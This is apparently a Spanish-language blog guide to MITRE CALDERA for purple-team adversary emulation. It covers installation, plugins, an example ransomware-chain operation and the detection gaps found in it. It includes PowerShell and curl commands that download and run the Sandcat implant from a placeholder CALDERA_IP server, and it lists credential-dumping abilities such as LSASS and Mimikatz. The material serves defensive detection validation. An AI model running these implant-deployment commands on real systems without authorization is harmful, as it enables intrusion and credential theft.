AvanzadoCALDERAMITREemulaciónpurple teamherramientas

CALDERA: Emulación de Adversarios Automatizada

Guía completa de MITRE CALDERA: plataforma de emulación de adversarios automatizada. Instalación, creación de adversary profiles, ejecución de operaciones, plugins, integración con ATT&CK, y uso para validar detecciones del SOC.

MalwareIntel Research··6 min lectura
Serie: MITRE ATT&CK y D3FEND — Parte 28

CALDERA automatiza la simulación de adversarios reales para validar que tus defensas funcionan

MITRE CALDERA (Cyber Adversary Language and Decision Engine for Red-team Automation) es una plataforma open-source que ejecuta técnicas ATT&CK reales contra sistemas de forma automatizada. Su propósito es validar que las detecciones del SOC, las reglas SIEM y los EDR realmente detectan lo que dicen detectar. Sin emulación, la cobertura defensiva es teórica. Con CALDERA, es verificada.

Arquitectura

CALDERA Server (C2)
  │
  ├── Adversary Profiles (perfiles de ataque)
  │     ├── APT3
  │     ├── APT29
  │     └── Custom profiles
  │
  ├── Abilities (técnicas individuales)
  │     ├── T1059.001: PowerShell execution
  │     ├── T1003.001: LSASS dump
  │     ├── T1021.002: SMB lateral movement
  │     └── 500+ abilities mapeadas a ATT&CK
  │
  ├── Planners (decisión engine)
  │     ├── Atomic: ejecuta abilities en secuencia
  │     ├── Batch: ejecuta todas en paralelo
  │     └── Buckets: agrupa por táctica
  │
  └── Agents (implants en targets)
        ├── Sandcat (Go, multiplataforma)
        ├── Manx (reverse shell)
        └── Ragdoll (Python)

Componentes clave

ComponenteFunción
ServerC2 que coordina operaciones, web UI en puerto 8888
AgentImplant desplegado en targets (Sandcat por defecto)
AbilityTécnica individual ejecutable (script, comando)
AdversaryPerfil que agrupa abilities en secuencia lógica
OperationEjecución de un adversary profile contra agents
PlannerAlgoritmo que decide el orden de ejecución
FactInformación descubierta durante la operación (IPs, users, paths)
PluginExtensiones (Stockpile, Compass, Human, Training)

Instalación

# Requisitos: Python 3.8+, Git
git clone https://github.com/mitre/caldera.git --recursive
cd caldera
pip install -r requirements.txt

# Iniciar servidor
python server.py --insecure

# Acceder a UI: http://localhost:8888
# Credenciales default: admin/admin (CAMBIAR)

Desplegar agent en target

# Desde la UI: Agents → Deploy
# Genera comando para cada SO:

# Windows (PowerShell):
$server="http://CALDERA_IP:8888";
$url="$server/file/download";
$wc=New-Object System.Net.WebClient;
$wc.Headers.add("platform","windows");
$wc.Headers.add("file","sandcat.go");
$output="C:\Users\Public\sandcat.exe";
$wc.DownloadFile($url,$output);
Start-Process -FilePath $output -ArgumentList "-server $server -group red"

# Linux:
curl -s -X POST -H "file:sandcat.go" -H "platform:linux" \
  http://CALDERA_IP:8888/file/download > sandcat;
chmod +x sandcat;
./sandcat -server http://CALDERA_IP:8888 -group red &

Plugins principales

Stockpile (abilities library)

Librería de 500+ abilities mapeadas a ATT&CK. Es el contenido core.

Abilities incluidas:
  Reconnaissance: whoami, hostname, ipconfig, net group
  Credential Access: Mimikatz, LSASS dump, SAM dump
  Lateral Movement: PsExec, WMI, SMB copy
  Persistence: Scheduled tasks, registry keys, services
  Collection: File search, clipboard, screenshots
  Exfiltration: HTTP upload, DNS exfil

Compass

Visualización de la operación sobre la matriz ATT&CK. Muestra en tiempo real qué técnicas se ejecutaron, cuáles tuvieron éxito y cuáles fallaron.

Human

Simula actividad humana (mover ratón, abrir aplicaciones, navegar) para hacer la emulación más realista y evadir sandboxes que detectan falta de actividad.

Training

Módulo de entrenamiento con escenarios guiados para aprender a usar CALDERA.

Emu

Perfiles de adversarios pre-construidos basados en threat intelligence real:

  • APT3 (Gothic Panda): técnicas de espionaje chino
  • APT29 (Cozy Bear): cadena completa SolarWinds-style
  • FIN6: ataques a POS y retail
  • Sandworm: técnicas destructivas

Flujo de operación purple team

Paso 1: Planificar

Objetivo: Validar detección de cadena ransomware
Adversary profile: Custom "Ransomware Affiliate"
Abilities seleccionadas:
  1. T1059.001: PowerShell execution
  2. T1082: System information discovery
  3. T1087.002: Domain account enumeration
  4. T1003.001: LSASS credential dump
  5. T1021.002: SMB lateral movement
  6. T1560.001: Archive data (7-Zip)
  7. T1490: Delete shadow copies (SIMULATED, no ejecutar real)

Paso 2: Ejecutar

Lanzar operación desde la UI. CALDERA ejecuta abilities en secuencia, recoge facts (información descubierta) y encadena técnicas automáticamente.

Operación en curso:
  [✓] T1059.001: PowerShell whoami → user: CORP\jsmith
  [✓] T1082: systeminfo → Windows 10 21H2
  [✓] T1087.002: net group "Domain Admins" → 3 admins found
  [✓] T1003.001: LSASS dump → 5 hashes extraídos
  [✗] T1021.002: SMB lateral → BLOCKED by EDR
  [✓] T1560.001: 7z archive created
  [SKIP] T1490: Shadow copy delete (simulated only)

Paso 3: Analizar resultados

AbilityATT&CKResultadoDetectado por SOC?
PowerShell execT1059.001EjecutadoSí (Script Block Log) ✓
System discoveryT1082EjecutadoNo (sin alerta) ✗
AD enumerationT1087.002EjecutadoSí (LDAP query alert) ✓
LSASS dumpT1003.001EjecutadoSí (Sysmon Event 10) ✓
SMB lateralT1021.002Bloqueado por EDRSí (EDR blocked + alert) ✓
Archive dataT1560.001EjecutadoNo (sin alerta) ✗

Gaps identificados:

  • T1082: sin detección para reconocimiento local (baja prioridad, difícil de distinguir de uso legítimo)
  • T1560.001: sin detección para compresión de archivos (media prioridad, indicador de pre-exfiltración)

Paso 4: Remediar y re-validar

  1. Crear regla Sigma para T1560.001: detectar 7z.exe/rar.exe en servidores
  2. Re-ejecutar operación CALDERA
  3. Verificar que la nueva regla detecta T1560.001
  4. Documentar resultado en Navigator layer

Comparativa con otras herramientas de emulación

HerramientaTipoComplejidadCosteAutomatización
CALDERAPlataforma completaAltaFree (OSS)Total
Atomic Red TeamTests individualesBajaFree (OSS)Parcial (scripts)
SCYTHEPlataforma comercialMedia$$$Total
AttackIQPlataforma comercialMedia$$$Total
Infection MonkeyPropagación automáticaMediaFree (OSS)Total
VectrTracking purple teamBajaFree (OSS)Tracking solo

Recomendación:

  • Equipos pequeños: Atomic Red Team (simple, rápido)
  • Equipos medianos: CALDERA (potente, gratuito, requiere setup)
  • Equipos enterprise: AttackIQ o SCYTHE (soporte comercial, integración)

Mejores prácticas

  1. Nunca en producción sin aprobación: CALDERA ejecuta técnicas reales
  2. Empezar con perfiles predefinidos: APT29 profile es el más completo
  3. Documentar cada operación: qué se ejecutó, qué se detectó, qué no
  4. Ciclo continuo: ejecutar mensualmente, comparar con ejecuciones anteriores
  5. Involucrar al SOC: el blue team debe intentar detectar la operación en tiempo real
  6. Cleanup: CALDERA tiene cleanup abilities, verificar que se ejecutan post-operación

Conclusión

CALDERA cierra el ciclo ATT&CK: de conocer las técnicas (ATT&CK) a implementar defensas (D3FEND) a validar que funcionan (CALDERA). Sin emulación, la cobertura defensiva es una suposición. Con CALDERA, es un dato verificado. Es la herramienta que transforma purple teaming de manual y ad-hoc a automatizado y repetible.

Fuentes y referencias

  • MITRE: CALDERA
  • MITRE: CALDERA GitHub repository
  • Center for Threat-Informed Defense: "Adversary Emulation Library"
  • SANS: "Purple Teaming with CALDERA" (2024)

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.